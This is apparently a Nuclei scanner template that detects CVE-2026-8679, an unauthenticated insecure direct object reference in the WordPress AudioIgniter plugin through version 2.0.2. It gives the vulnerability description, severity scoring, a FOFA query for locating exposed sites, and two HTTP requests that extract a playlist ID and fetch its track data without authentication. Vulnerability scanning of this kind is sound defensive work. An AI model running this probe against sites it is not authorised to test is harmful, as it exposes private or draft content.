WordPress AudioIgniter <= 2.0.2 - Unauthenticated IDOR

id: CVE-2026-8679

info:
  name: WordPress AudioIgniter <= 2.0.2 - Unauthenticated IDOR
  author: 0x_Akoko
  severity: high
  description: |
    The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.
  impact: |
    Unauthenticated attackers can access sensitive playlist metadata including private and draft content, leading to information disclosure.
  remediation: |
    Update to the latest version of AudioIgniter plugin.
  reference:
    - https://plugins.trac.wordpress.org/browser/audioigniter/trunk/audioigniter.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8679
    - https://wordpress.org/plugins/audioigniter/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-8679
    epss-score: 0.01508
    epss-percentile: 0.71318
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="audioigniter_playlist_id"
  tags: cve,cve2026,wordpress,wp-plugin,audioigniter,idor,exposure,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "audioigniter_playlist_id")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: playlist_id
        part: body
        regex:
          - 'audioigniter_playlist_id=(\d+)'
        group: 1
        internal: true

  - raw:
      - |
        GET /?audioigniter_playlist_id={{playlist_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"title\"", "\"audio\"", "\"subtitle\"")'
        condition: and
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